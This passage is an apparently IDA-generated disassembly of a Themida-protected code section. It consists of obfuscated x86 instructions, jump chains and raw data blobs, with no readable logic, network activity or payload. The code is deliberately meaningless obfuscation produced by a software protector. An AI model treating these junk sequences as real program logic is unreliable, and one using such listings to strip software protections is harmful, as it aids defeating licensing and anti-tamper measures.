[esp], 4 pop edi add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx push ebx mov ebx, 12663CE7h jmp loc_56C97F ; --------------------------------------------------------------------------- dw 0C280h dd 6B5EE913h, 0F681FFFFh, 57914AB4h, 2091E9h db 0 ; --------------------------------------------------------------------------- loc_560275: ; CODE XREF: Themida_:0055F1EEj add cl, 23h mov ah, cl jmp loc_562167 ; --------------------------------------------------------------------------- loc_56027F: ; CODE XREF: Themida_:00563EDEj add ebx, 0F547FB40h jmp loc_560A53 ; --------------------------------------------------------------------------- loc_56028A: ; CODE XREF: Themida_:0055B72Aj ; Themida_:005654B4j mov eax, 299D4843h jmp loc_56CAA6 ; --------------------------------------------------------------------------- dword_560294 dd 24248B66h, 18F3E9h, 5EE95800h, 0BEFFFFFCh, 22EB4E2Fh ; DATA XREF: Themida_:005561DCo dd 0FFE229E9h, 8BC681FFh, 81303B0Ch, 8B92D1F6h, 5EF00114h dd 4A6BD42Dh, 0DE6CE924h, 0D4B9FFFFh, 895B7273h, 0F10959CEh dd 0ABE9815Eh, 214E032Dh, 0CF8159CFh, 68B80762h, 5BF5E9h dd 24048F00h, 915CE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5602EE: ; CODE XREF: Themida_:00561B47j mov [esp], ebp jmp loc_569BDC ; --------------------------------------------------------------------------- dw 0C781h dd 4, 0E904C783h, 0FFFF8431h ; --------------------------------------------------------------------------- loc_560304: ; CODE XREF: Themida_:loc_5581C4j ; Themida_:0056A82Dj sub ecx, edx mov edx, [esp] push edx mov edx, esp push edi jmp loc_5589EB ; --------------------------------------------------------------------------- loc_560312: ; CODE XREF: Themida_:0056BF63j not ebx jmp loc_567744 ; --------------------------------------------------------------------------- loc_560319: ; CODE XREF: Themida_:00556E29j mov [esp], edx jmp loc_56B92C ; --------------------------------------------------------------------------- loc_560321: ; CODE XREF: Themida_:0055A1A1j add edx, 420039DEh jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_56032C: ; CODE XREF: Themida_:0055E472j and edi, 57AE749Ah jmp loc_569630 ; --------------------------------------------------------------------------- loc_560337: ; CODE XREF: Themida_:0056492Dj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx jmp loc_5589D8 ; --------------------------------------------------------------------------- loc_560351: ; CODE XREF: Themida_:00564ABEj add esp, 4 mov eax, [esp] add esp, 4 loc_560360: ; CODE XREF: Themida_:00561B1Cj ; Themida_:loc_56C284j push edx sub esp, 4 mov [esp], ebx pop edx push edi push 4E8Fh jmp loc_560FAB ; --------------------------------------------------------------------------- loc_560373: ; CODE XREF: Themida_:00564AE5j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_56ADA5 ; --------------------------------------------------------------------------- loc_560385: ; CODE XREF: Themida_:0056357Ej mov ebp, 4B9E009Ah mov ebx, 0DDF367BDh add ebx, ebp jmp loc_569DEC ; --------------------------------------------------------------------------- loc_560396: ; CODE XREF: Themida_:0055B2DBj pop ecx sub ebp, ebx mov ebx, [esp] add esp, 4 xor ebx, ebp pop ebp add ebx, 192A204Eh mov edx, ebx mov ebx, [esp] push ecx jmp loc_568B8F ; --------------------------------------------------------------------------- loc_5603B6: ; CODE XREF: Themida_:00561EB1j sub edx, 74807523h push ebx jmp loc_569527 ; --------------------------------------------------------------------------- loc_5603C2: ; CODE XREF: Themida_:0056AFB1j add esp, 4 push edx mov dl, 34h inc dl add dl, 0E5h add bl, dl jmp loc_56C742 ; --------------------------------------------------------------------------- dd 373EB951h, 0F181153Ah, 5FC91345h, 0C104E1C1h, 814104E9h dd 0FA2CC5C1h, 59CA014Fh, 0B850CA01h, 5AED5141h, 0E958C229h dd 0FFFFFD83h ; --------------------------------------------------------------------------- loc_560400: ; CODE XREF: Themida_:0056266Ej mov esi, [esp] jmp loc_55AF2B ; --------------------------------------------------------------------------- loc_560408: ; CODE XREF: Themida_:00569378j neg ebp not ebp sub ebp, 5F995C3h sub ebx, 1F285CE7h add ebx, 27B32815h sub ebx, 32DE125Eh jmp loc_55A6E6 ; --------------------------------------------------------------------------- loc_560429: ; CODE XREF: Themida_:0056520Bj pop ebx sub [esp+4], edx add dword ptr [esp+4], 22FC1139h sub dword ptr [esp+4], 2E2B1642h mov edx, [esp] add esp, 4 pop eax jmp loc_559875 ; --------------------------------------------------------------------------- db 0F7h, 0DAh, 0C1h dd 0E2D106E2h, 134FCA81h, 0E2C12005h, 0BFEA8106h, 164F8C0h dd 0EE815AD6h, 0ACD0E2Bh, 0C681EE01h, 0ACD0E2Bh, 3301EE81h dd 835D7656h, 343304C6h, 24343124h, 8B243433h, 48B2424h dd 89505324h, 2BB368E0h, 3C890000h, 7D20BF24h, 684F7B51h dd 42BEh, 0B8240489h, 5A8D63E0h, 2022772Dh, 1C0352Ch, 0C729458Ch dd 0EAB85058h, 35368E4Dh, 52AA35E2h, 6070B535h, 0C3692D01h dd 0C73151F9h, 0E0BB5358h, 4B61BE5Bh, 48C3814Bh, 31BA7C1Dh dd 0E5AE9DFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5604E6: ; CODE XREF: Themida_:0055B0CAj pop esi push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], esi push ebx mov ebx, 12BA15B2h sub [esp+4], ebx jmp loc_55DA78 ; --------------------------------------------------------------------------- db 8Bh dd 1CE92434h db 87h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56050B: ; CODE XREF: Themida_:0055DFC2j add esp, 4 xor [esp+4], eax pop eax push dword ptr [esp] pop eax add esp, 4 jmp loc_559EF0 ; --------------------------------------------------------------------------- db 81h dd 5138EEC3h, 6DC4E959h, 0E958FFFFh, 2D9Ch ; --------------------------------------------------------------------------- loc_560530: ; CODE XREF: Themida_:00559657j add esp, 4 pop dword ptr [esp] pop esp mov [esp], edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 push eax mov eax, 32157965h jmp loc_566830 ; --------------------------------------------------------------------------- loc_56055E: ; CODE XREF: Themida_:00561DDDj add ebx, 4 xchg ebx, [esp] pop esp jmp loc_55D596 ; --------------------------------------------------------------------------- loc_56056A: ; CODE XREF: Themida_:0055E78Bj add bl, dl jmp loc_55A572 ; --------------------------------------------------------------------------- loc_560571: ; CODE XREF: Themida_:005571A7j push ebx mov ebx, 1C15467Fh sub edi, ebx mov ebx, [esp] push 2E3Bh jmp loc_55CFFA ; --------------------------------------------------------------------------- loc_560586: ; CODE XREF: Themida_:0055FA6Ej sub esp, 4 mov [esp], ebx push ecx push ebx jmp loc_566C3C ; --------------------------------------------------------------------------- loc_560593: ; CODE XREF: Themida_:00557E32j sub ecx, 0FFFFFFFFh jmp loc_559714 ; --------------------------------------------------------------------------- db 5Fh dd 0FF8942E9h, 4C481FFh, 81000000h, 4C5h, 4BA5200h, 1000000h dd 2C875AD5h, 39E95C24h db 0AAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5605BF: ; CODE XREF: Themida_:0055BBCCj mov esi, 8BCEEECDh sub edi, esi jmp loc_55B926 ; --------------------------------------------------------------------------- loc_5605CB: ; CODE XREF: Themida_:0055D1CDj add ecx, 0FFFFFFFFh sub ecx, 1 add ecx, 68B114B9h sub edi, 2685405Ch add edi, 2F987EDFh sub edi, ecx sub edi, 2F987EDFh add edi, 2685405Ch mov ecx, [esp] add esp, 4 jmp loc_563E02 ; --------------------------------------------------------------------------- loc_560602: ; CODE XREF: Themida_:005699CCj pop esi sub [esp+4], ecx sub dword ptr [esp+4], 790B67DDh pop ecx jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_560615: ; CODE XREF: Themida_:0056BC2Aj pop ebp push ebp mov ebp, 0E0083F4Ah add ecx, ebp pop ebp sub edi, 82B6289h add edi, ecx add edi, 82B6289h pop ecx push edi jmp loc_567E42 ; --------------------------------------------------------------------------- loc_560634: ; CODE XREF: Themida_:00561579j js loc_558F14 jmp loc_55BD0B ; --------------------------------------------------------------------------- db 5 dd 0D726113h, 3F71BBB9h, 7DF00539h, 0C8292A04h, 7DF0B951h dd 332D2A04h, 0E964667Eh, 9316h ; --------------------------------------------------------------------------- loc_560660: ; CODE XREF: Themida_:0055736Dj add esp, 2 add al, dl push bx push ecx jmp loc_55F0F3 ; --------------------------------------------------------------------------- dd 0C7FF681h, 880F3436h, 0FFFFA696h, 8108EEC1h, 0AB767BE6h dd 30BA524Ah, 81000A54h, 803227EEh, 81D62917h, 803227C6h dd 24148B17h, 0A0A4E9h, 2404FF00h, 5C3DE99Ch db 2 dup(0FFh) word_5606AA dw 3166h ; DATA XREF: Themida_:0055629Co dd 33662434h, 31662434h, 0EC832434h, 102BE902h, 880D0000h dd 35655A6Ch, 53B97313h, 468CDC35h, 0E9C201A6h, 859Ah ; --------------------------------------------------------------------------- loc_5606D4: ; CODE XREF: Themida_:00565C23j sub ebp, 7BC12267h mov edi, [esp] add esp, 4 push ebp push dword ptr [esp+4] jmp loc_56C754 ; --------------------------------------------------------------------------- loc_5606ED: ; CODE XREF: Themida_:0056B082j push 7F12690Eh pop edx xor edx, 3C4E6730h jg loc_56B53F add edx, 0BCA3F1C6h mov ecx, edx pop edx pop edi add edi, 30099BBAh jmp loc_564489 ; --------------------------------------------------------------------------- loc_560714: ; CODE XREF: Themida_:00565983j xor ebp, edi xor edi, ebp add edi, 1BE936CAh push ebp mov ebp, 93C3DEDCh xor edi, ebp pop ebp add edx, edi mov edi, [esp] jmp loc_56475F ; --------------------------------------------------------------------------- loc_560731: ; CODE XREF: Themida_:0055F2FCj push edi jmp loc_56C7FD ; --------------------------------------------------------------------------- db 89h dd 0EC832404h, 242C8904h, 14168BBDh, 45D5F761h, 61F2E581h dd 0E5C11BE1h, 929BE907h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560756: ; CODE XREF: Themida_:00559637j mov [esp], ebx jmp loc_55C47F ; --------------------------------------------------------------------------- word_56075E dw 6664h ; DATA XREF: Themida_:005560D8o dd 6602B60Fh, 6665C568h, 0E9240489h, 0FFFF5B77h ; --------------------------------------------------------------------------- loc_560770: ; CODE XREF: Themida_:0055E1B7j jmp loc_562DE7 ; --------------------------------------------------------------------------- loc_560775: ; CODE XREF: Themida_:00558399j sub esi, 8B51804h add ebx, esi pop esi jmp loc_567C3E ; --------------------------------------------------------------------------- db 89h dd 0FCBE2434h, 0E930C637h, 0FFFFDFE5h, 4244481h, 1C7A25D3h dd 4245401h, 4246C81h, 1C7A25D3h, 4244481h, 688F2FADh dd 0E924148Bh, 0FFFF7B72h ; --------------------------------------------------------------------------- loc_5607B4: ; CODE XREF: Themida_:005638EBj dec edx jg loc_56AD4E sub edx, 30BC7975h jmp loc_56BD36 ; --------------------------------------------------------------------------- dw 0D029h db 5Ah, 54h ; --------------------------------------------------------------------------- loc_5607CA: ; CODE XREF: Themida_:00559A47j pop esp push eax push 880h mov [esp], ebx push 784B25A4h mov ebx, [esp] add esp, 4 add ebx, 0D6FDFE22h mov eax, ebx pop ebx add [esp+4], eax jmp loc_563924 ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 487D0F7h, 24148B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55A97B ; --------------------------------------------------------------------------- loc_560814: ; CODE XREF: Themida_:00567706j jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_560819: ; CODE XREF: Themida_:0055FE86j push ebp mov ebp, 4567382Ah jmp loc_569276 ; --------------------------------------------------------------------------- loc_560824: ; CODE XREF: Themida_:00557E87j mov ebx, 1F915EDh jmp loc_5692FE ; --------------------------------------------------------------------------- loc_56082E: ; CODE XREF: Themida_:005659EDj xor al, ch mov ecx, [esp] add esp, 4 xor bl, al movzx eax, al jmp loc_56525B ; --------------------------------------------------------------------------- loc_560843: ; CODE XREF: Themida_:0056BC63j pop edi xor ecx, ebx mov ebx, [esp] sub esp, 4 mov [esp], ebx jmp loc_55E4A7 ; --------------------------------------------------------------------------- dd 298568h, 24048900h, 947D11B8h, 83F3E96Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560866: ; CODE XREF: Themida_:0055E0C1j push 4A244F46h pop edi inc edi jns loc_569F41 jmp loc_56D20B ; --------------------------------------------------------------------------- dd 9D1C77FFh, 0CDB25866h db 5Fh ; --------------------------------------------------------------------------- loc_560881: ; CODE XREF: Themida_:0056B19Ej pop edx or dl, ah pop eax push ecx mov ch, 7Dh push ebx jmp loc_55DF6E ; --------------------------------------------------------------------------- loc_56088E: ; CODE XREF: Themida_:00559ADEj pop ecx xor ecx, 74EB73D9h mov ebx, [esp] push ebp mov ebp, esp jmp loc_562A80 ; --------------------------------------------------------------------------- loc_5608A0: ; CODE XREF: Themida_:00556A53j xor [esp], ebp xor ebp, [esp] pop esp xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_5562E7 ; --------------------------------------------------------------------------- dd 23BA5241h, 0C105ED0Ah, 0EA8107EAh, 38DA2321h, 438FC281h dd 0EA8158F7h, 0C749E14h, 0AEE9D109h, 97FFFF64h, 0BFE9DFF7h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5608E3: ; CODE XREF: Themida_:0055903Cj not dl sub dl, 0EBh jmp loc_56B19C ; --------------------------------------------------------------------------- loc_5608ED: ; CODE XREF: Themida_:0056886Cj sub bl, 0D2h add bl, 72h add bl, dl sub bl, 72h add bl, 0D2h jmp loc_559322 ; --------------------------------------------------------------------------- loc_560900: ; CODE XREF: Themida_:0056D6B2j push edx push eax mov eax, 2EB13E25h mov edx, eax pop eax sub edx, 1 not edx dec edx jmp loc_556C06 ; --------------------------------------------------------------------------- loc_560915: ; CODE XREF: Themida_:0055AE4Fj mov dl, ch mov ecx, [esp] add esp, 4 shl dl, 4 or dl, 66h xor dl, 0D8h jmp loc_561FC0 ; --------------------------------------------------------------------------- aH0S db 'h;0)~ИщЁ',0 ; DATA XREF: Themida_:005560F8o db 0 ; --------------------------------------------------------------------------- loc_560935: ; CODE XREF: Themida_:loc_55805Fj sub edi, 77A0704Dh jmp loc_569347 ; --------------------------------------------------------------------------- dd 14EB814Bh, 18DBCFAh, 5E95BDEh, 81FFFFEBh, 360217EFh dd 69830F32h, 810000C4h, 0CB867FF7h, 8BFD8922h, 8CB2243Ch db 0B6h, 19h word_56096A dw 8B66h ; DATA XREF: Themida_:0055605Co dd 89532404h, 1DB268E3h, 0C890000h, 4B924h, 0E4E90000h dd 0F70000B3h, 8BA52D1h, 552A4D26h, 1BDh, 5DEA2900h, 77AECA81h dd 0E2C171D5h, 0C2834207h, 9AC28101h, 0E9D74108h, 0FFFFA742h dd 612E8E0Fh, 0E681FFFFh, 50BF6E43h, 698BE9h, 9D880F00h dd 8100008Fh, 0D1A91EE9h, 59C8893Fh, 172DB951h, 0C8311929h dd 1BBE5659h, 2178487Bh, 0D0F75EF0h, 7E8AE997h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5609E6: ; CODE XREF: Themida_:00569159j xor ebx, [esp] mov esp, [esp] jmp loc_56661B ; --------------------------------------------------------------------------- db 0Dh, 0C4h, 74h dd 40E92806h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5609FB: ; CODE XREF: Themida_:00569E0Bj add ecx, edi pop edi jmp loc_562D3D ; --------------------------------------------------------------------------- db 5 dd 0BD9FEF4Bh, 8158C729h, 4ECh, 24148900h, 0BAh, 3CD3E900h dd 0C3810000h, 0B7E4467h, 3F8CEB81h db 74h, 0A4h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55FCE1 ; --------------------------------------------------------------------------- dw 487h dd 0C55AE924h, 9C68FFFFh, 0E9000041h, 0AF30h, 786D1B35h dd 6FED2D56h, 96E9150Ch db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560A53: ; CODE XREF: Themida_:00560285j push esi mov esi, 6245206Eh sub esi, 605AFDDCh and ebx, esi pop esi push ecx push eax mov eax, 1340509h mov ecx, eax pop eax or ecx, 34DC27B4h xor ecx, 19496A9Dh sub ebx, ecx pop ecx add ebx, 77F10DEEh sub ebx, 45CB68E8h jmp loc_5616F2 ; --------------------------------------------------------------------------- loc_560A8C: ; CODE XREF: Themida_:005644C9j push ecx mov ch, 0F9h not ch inc ch dec ch push ebx mov bl, 16h jmp loc_55B81E ; --------------------------------------------------------------------------- loc_560A9D: ; CODE XREF: Themida_:0056C97Aj mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp add esp, 4 pop dword ptr [esp] pop esp mov [esp], ecx mov ecx, 2 add ebp, ecx push dword ptr [esp] pop ecx add esp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_56C41D ; --------------------------------------------------------------------------- loc_560ACE: ; CODE XREF: Themida_:00563C63j sub ebp, 23F42210h mov edx, ebp pop ebp jmp loc_55E049 ; --------------------------------------------------------------------------- loc_560ADC: ; CODE XREF: Themida_:0055C6B7j mov edi, 24795B1Ch add edi, 7A7F56C3h jmp loc_56B4EB ; --------------------------------------------------------------------------- loc_560AEC: ; CODE XREF: Themida_:0056CEE3j push 1BEAh mov [esp], eax push esp push dword ptr [esp] jmp loc_5585B0 ; --------------------------------------------------------------------------- loc_560AFD: ; CODE XREF: Themida_:00565D9Cj dec edx jg loc_561867 jmp loc_561DD7 ; --------------------------------------------------------------------------- db 1, 0C2h, 0E9h dd 3DA5h, 0AEE7E9h db 0 byte_560B15 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005560D4o dd 9FFEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B1E: ; CODE XREF: Themida_:0055B259j jmp loc_56146A ; --------------------------------------------------------------------------- loc_560B23: ; CODE XREF: Themida_:0056192Cj sub ecx, ebx pop ebx inc ecx sub ecx, 0F003A5FBh jmp loc_55B51A ; --------------------------------------------------------------------------- loc_560B32: ; CODE XREF: Themida_:0055EF0Fj not cl jmp loc_563B10 ; --------------------------------------------------------------------------- loc_560B39: ; CODE XREF: Themida_:0056D188j sub dword ptr [esp], 0DCF5A0Fh push dword ptr [esp] mov edi, [esp] add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add edi, 0DCF5A0Fh mov ebx, [esp] add esp, 4 and ebx, edi push dword ptr [esp] pop edi push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5624E8 ; --------------------------------------------------------------------------- loc_560B7C: ; CODE XREF: Themida_:0056A9C0j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ebx jmp loc_5694F4 ; --------------------------------------------------------------------------- byte_560B91 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00556250o dd 231E6824h, 0C890000h, 4EC8324h, 81242489h, 42404h, 34FF0000h dd 54525924h, 4B9515Ah, 1000000h, 0BD5559CAh, 4, 8FE9EA01h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_560BC7: ; CODE XREF: Themida_:005643C7j mov dh, 4Eh add al, dh push dword ptr [esp] pop edx push 57E8h mov [esp], ebx mov ebx, esp push eax mov eax, 32CE3641h sub eax, 32CE363Dh add ebx, eax pop eax push 6105h mov [esp], ebp push esi jmp loc_56A4DF ; --------------------------------------------------------------------------- aNhwq db '╜hwQ',0 ; DATA XREF: Themida_:0055610Co dw 8900h dd 0E5BA2414h, 0E94E5254h, 0A04h ; --------------------------------------------------------------------------- loc_560C08: ; CODE XREF: Themida_:005659A2j push edi mov di, 2354h jmp loc_5619B7 ; --------------------------------------------------------------------------- dw 0C89h dd 3F19B924h, 0D1F7148Ah, 0FF7D5AE9h db 0FFh ; --------------------------------------------------------------------------- loc_560C21: ; CODE XREF: Themida_:0056D56Dj add edx, edi sub edx, 5C9E5CC4h jmp loc_55CA0B ; --------------------------------------------------------------------------- loc_560C2E: ; CODE XREF: Themida_:0055E5BAj add ebp, 45B05FA3h not ebp sub ebp, 5625701Ah jl loc_56851D xor ebp, 49434DB3h jmp loc_563469 ; --------------------------------------------------------------------------- db 5Dh ; --------------------------------------------------------------------------- loc_560C4E: ; CODE XREF: Themida_:00563554j add esp, 4 mov ebp, edi pop edi add ebp, 9F759BC4h and eax, ebp jmp loc_56CFA4 ; --------------------------------------------------------------------------- loc_560C64: ; CODE XREF: Themida_:005586F3j xor esi, 49706D6Bh push eax mov eax, 0FB86625h jmp loc_559C40 ; --------------------------------------------------------------------------- loc_560C75: ; CODE XREF: Themida_:00563E7Bj add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp pop ebp add ecx, 198F3D85h add ecx, eax sub ecx, 198F3D85h mov [ecx], dl mov ecx, [esp] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_560CB9: ; CODE XREF: Themida_:loc_557A5Cj ; Themida_:0055FBEEj pop ebp dec ebp jmp loc_561992 ; --------------------------------------------------------------------------- loc_560CC0: ; CODE XREF: Themida_:0055CB88j mov [esp], edx jmp loc_56832E ; --------------------------------------------------------------------------- dd 0B30F665Ch, 0E99C2404h, 0AEDAh, 0F768F305h, 2DC82954h dd 54F768F3h, 1D50E9h db 0 ; --------------------------------------------------------------------------- loc_560CE5: ; CODE XREF: Themida_:00556787j mov ecx, [esp] jmp loc_556EA8 ; --------------------------------------------------------------------------- loc_560CED: ; CODE XREF: Themida_:0055C579j sub esp, 4 jmp loc_568841 ; --------------------------------------------------------------------------- db 31h, 3Ch, 24h dd 0E9243C33h, 0FFFFF26Ch, 1BB53h, 0D9890000h, 0FFC6E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560D0E: ; CODE XREF: Themida_:0055A624j xor eax, 3A20E6Dh shr eax, 2 sub eax, 6C5E10B5h xor eax, 654063C7h add eax, 727DDE22h and ecx, eax pop eax add ecx, 0DFB6FF80h add esi, ecx mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 push edx mov edx, 6F806027h xor edx, 91F4C59h dec edx add edx, 1 add edx, 9960D386h add ebp, edx pop edx xchg ebp, [esp] jmp loc_563659 ; --------------------------------------------------------------------------- db 53h, 68h, 4 dd 0E9000000h, 2FD9h ; --------------------------------------------------------------------------- loc_560D68: ; CODE XREF: Themida_:0055C4B4j neg ecx jmp loc_569E10 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 76E4E904h, 0BF570000h, 4, 2D96C381h, 1E96C67h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560D8B: ; CODE XREF: Themida_:0055A427j sub ebx, eax sub ebx, 78055DD6h pop eax xor edx, eax jmp loc_55A000 ; --------------------------------------------------------------------------- db 89h dd 4C781E7h, 83000000h, 3C8704EFh, 5CEDE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560DAE: ; CODE XREF: Themida_:00558706j mov [esp], esi mov esi, 4 add edi, esi pop esi xor edi, [esp] jmp loc_566DA6 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 8104C483h, 0A4042444h, 17E3F49h, 81042474h, 0A404246Ch dd 0FF7E3F49h, 815E2434h, 4C4h, 8F0FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560DEA: ; CODE XREF: Themida_:00566B62j xor ebp, esi pop esi mov edx, ebp jmp loc_5568AF ; --------------------------------------------------------------------------- loc_560DF4: ; CODE XREF: Themida_:0056B197j jmp loc_56187F ; --------------------------------------------------------------------------- loc_560DF9: ; CODE XREF: Themida_:00566F29j push ecx mov ecx, 52B72B0Eh inc ecx add ecx, 54580823h shr ecx, 8 jmp loc_563B20 ; --------------------------------------------------------------------------- loc_560E0E: ; CODE XREF: Themida_:loc_56C902j jmp loc_55F427 ; --------------------------------------------------------------------------- db 89h dd 65682434h, 0FF1BA235h, 0E95E2434h, 0FFFF660Bh, 0DD6B850h dd 0EFBF7813h, 1AE8964h, 0B95158C7h, 1BAB3741h, 0E904E1C1h dd 0BB97h ; --------------------------------------------------------------------------- loc_560E40: ; CODE XREF: Themida_:0055988Dj sub ebx, 71DB02FEh jmp loc_556AF1 ; --------------------------------------------------------------------------- loc_560E4B: ; CODE XREF: Themida_:00563578j mov [esp], ebp mov ebp, 4 add edx, 15E314F2h sub edx, 514B07D8h jmp loc_55E723 ; --------------------------------------------------------------------------- loc_560E64: ; CODE XREF: Themida_:0056CDA5j mov edx, [esp] jmp loc_562682 ; --------------------------------------------------------------------------- aISfm db '┴щ[Иf╛',0 align 4 loc_560E74: ; CODE XREF: Themida_:005698DBj pop ecx push 714Ah jmp loc_5655A5 ; --------------------------------------------------------------------------- db 0B8h dd 6A5B78F3h, 8158C721h, 5475ACFh, 4E7C17Ah, 595C850Fh dd 0F470000h, 0FFEBEB8Eh, 0B288E9FFh, 0EBC1FFFFh, 608A0F08h dd 81000056h, 1D4A22C3h, 8A0F53FFh, 0FFFFCF90h ; --------------------------------------------------------------------------- loc_560EB8: ; CODE XREF: Themida_:00567E5Cj ; Themida_:0056BD54j mov esp, [esp] idiv cl jmp loc_567F3A ; --------------------------------------------------------------------------- loc_560EC2: ; CODE XREF: Themida_:0055BF66j pop edi push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_56A7CD ; --------------------------------------------------------------------------- dw 0E956h dd 0FFFFA5B8h ; --------------------------------------------------------------------------- loc_560EDC: ; CODE XREF: Themida_:0055D2ADj push ebp jmp loc_56CCBD ; --------------------------------------------------------------------------- loc_560EE2: ; CODE XREF: Themida_:0055CC7Fj add edi, 0A61ED444h add edx, 16FC542Eh sub edx, 37FF77E2h jmp loc_567443 ; --------------------------------------------------------------------------- loc_560EF9: ; CODE XREF: Themida_:0055CB66j jmp loc_564C07 ; --------------------------------------------------------------------------- dw 8852h dd 0E9F388E6h, 3498h, 9B790DBEh, 2FF6815Dh, 8130A476h dd 0F83D80EEh, 4D9A686Bh, 4890000h, 443DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560F26: ; CODE XREF: Themida_:00561E1Ej add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push 46C4h mov [esp], ebx jmp loc_564C60 ; --------------------------------------------------------------------------- loc_560F45: ; CODE XREF: Themida_:00564F78j xchg eax, [esp] pop esp shr ebp, 2 jmp loc_564B1E ; --------------------------------------------------------------------------- loc_560F51: ; CODE XREF: Themida_:00566391j push edx jmp loc_56CFC6 ; --------------------------------------------------------------------------- byte_560F57 db 68h ; DATA XREF: Themida_:00556160o dd 6BA9h, 0FF240489h, 0E9042474h, 0B0FAh ; --------------------------------------------------------------------------- loc_560F68: ; CODE XREF: Themida_:00569E86j pop esp push ecx mov ecx, 19C40499h sub edx, ecx pop ecx add edx, 6CE46246h jmp loc_56D30E ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 5604C483h, 52C66853h, 43E90000h db 9Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_560F8F: ; CODE XREF: Themida_:0055B6BFj push 75BBh mov [esp], edx push eax mov eax, esp jmp loc_563910 ; --------------------------------------------------------------------------- db 87h dd 565C2404h, 0BDE9E689h db 0B5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560FAB: ; CODE XREF: Themida_:0056036Ej mov [esp], edx mov edi, [esp] add esp, 4 push 54EEh mov [esp], edi mov eax, [esp] add esp, 4 push dword ptr [esp] pop edi jmp loc_568BC7 ; --------------------------------------------------------------------------- loc_560FCE: ; CODE XREF: Themida_:0056B186j jmp loc_56D2C7 ; --------------------------------------------------------------------------- loc_560FD3: ; CODE XREF: Themida_:0055C8C2j add esp, 4 xor al, bl push dword ptr [esp] mov ebx, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_556442 ; --------------------------------------------------------------------------- dw 1489h dd 3F42BA24h, 0E28142AFh, 2BF25D26h, 0A2ACEA81h, 0D621AC68h dd 0FF6C92E9h db 0FFh ; --------------------------------------------------------------------------- loc_56100D: ; CODE XREF: Themida_:00566A65j mov bl, cl jmp loc_5570F1 ; --------------------------------------------------------------------------- dd 4BFh, 247C0100h, 1C8B5F04h, 42EAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561026: ; CODE XREF: Themida_:0055AF6Bj add edx, edi sub edx, 5E57344Fh add [edx], ebx mov edx, [esp] push edi mov edi, esp add edi, 4 push edx mov edx, 4 sub edi, edx pop edx jmp loc_55E9D9 ; --------------------------------------------------------------------------- loc_56104A: ; CODE XREF: Themida_:005563FDj sub ebx, 4 jmp loc_5580FE ; --------------------------------------------------------------------------- loc_561052: ; CODE XREF: Themida_:0055CF82j push 4CF76785h jmp loc_561428 ; --------------------------------------------------------------------------- loc_56105C: ; CODE XREF: Themida_:00566105j mov ebp, [esp] add esp, 4 jmp loc_563C60 ; --------------------------------------------------------------------------- loc_561067: ; CODE XREF: Themida_:00565A5Aj ; Themida_:00565F05j add edx, 4 push ebp mov ebp, 126D3641h shl ebp, 8 xor ebp, 182A5FCBh neg ebp not ebp neg ebp xor ebp, 8AE3E132h sub edx, ebp pop ebp xchg edx, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 2 push 5D4Bh mov [esp], ebp mov ebp, 6E840098h sub eax, ebp jmp loc_56CE72 ; --------------------------------------------------------------------------- loc_5610AD: ; CODE XREF: Themida_:0056133Bj add esp, 4 push 398Fh mov [esp], edi mov edi, 2 jmp loc_557D85 ; --------------------------------------------------------------------------- loc_5610C2: ; CODE XREF: Themida_:00562896j ; Themida_:00562C68j mov ebx, [esp] add esp, 4 push eax mov eax, 72D57982h neg eax jmp loc_56184F ; --------------------------------------------------------------------------- loc_5610D5: ; CODE XREF: Themida_:00564911j 